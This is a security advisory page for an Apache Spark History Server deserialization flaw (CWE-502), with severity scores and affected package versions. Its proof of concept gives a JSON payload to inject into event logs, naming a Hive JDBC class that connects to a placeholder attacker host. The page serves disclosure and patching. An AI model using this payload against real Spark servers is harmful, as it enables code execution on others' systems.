Apache Spark: Spark History Server Code Execution Vulnerability

Description

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

Proof of Concept:

  1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

  2. Inject the following JSON at the beginning of an event log file:

{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<IP>:<PORT>/",
  "info": {
    "hive.metastore.uris": "thrift://<IP>:<PORT>"
  }
}
  1. Start the Spark History Server with logs pointing to the modified directory.

  2. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Source code
Browse source ↗
Published (advisory)
2026-03-16 15:30:41 UTC
Updated
2026-03-17 19:53:20 UTC
GitHub reviewed
2026-03-17 19:53:20 UTC
NVD published
2026-03-16

EPSS Score

Score Percentile
0.72% 72.48%

CVSS Scores

Base score Version Severity Vector
8.8 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-502 Deserialization of Untrusted Data

Affected packages (6)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
maven org.apache.spark:spark-core_2.13 >= 4.0.0, < 4.0.1 4.0.1
maven org.apache.spark:spark-core_2.13 < 3.5.7 3.5.7
maven org.apache.spark:spark-core_2.12 < 3.5.7 3.5.7
maven org.apache.spark:spark-core_2.11 <= 2.4.8
maven org.apache.spark:spark-core_2.10 <= 2.2.3
maven org.apache.spark:spark-core_2.9.3 <= 0.8.1-incubating

References

cvelogic Threat Intelligence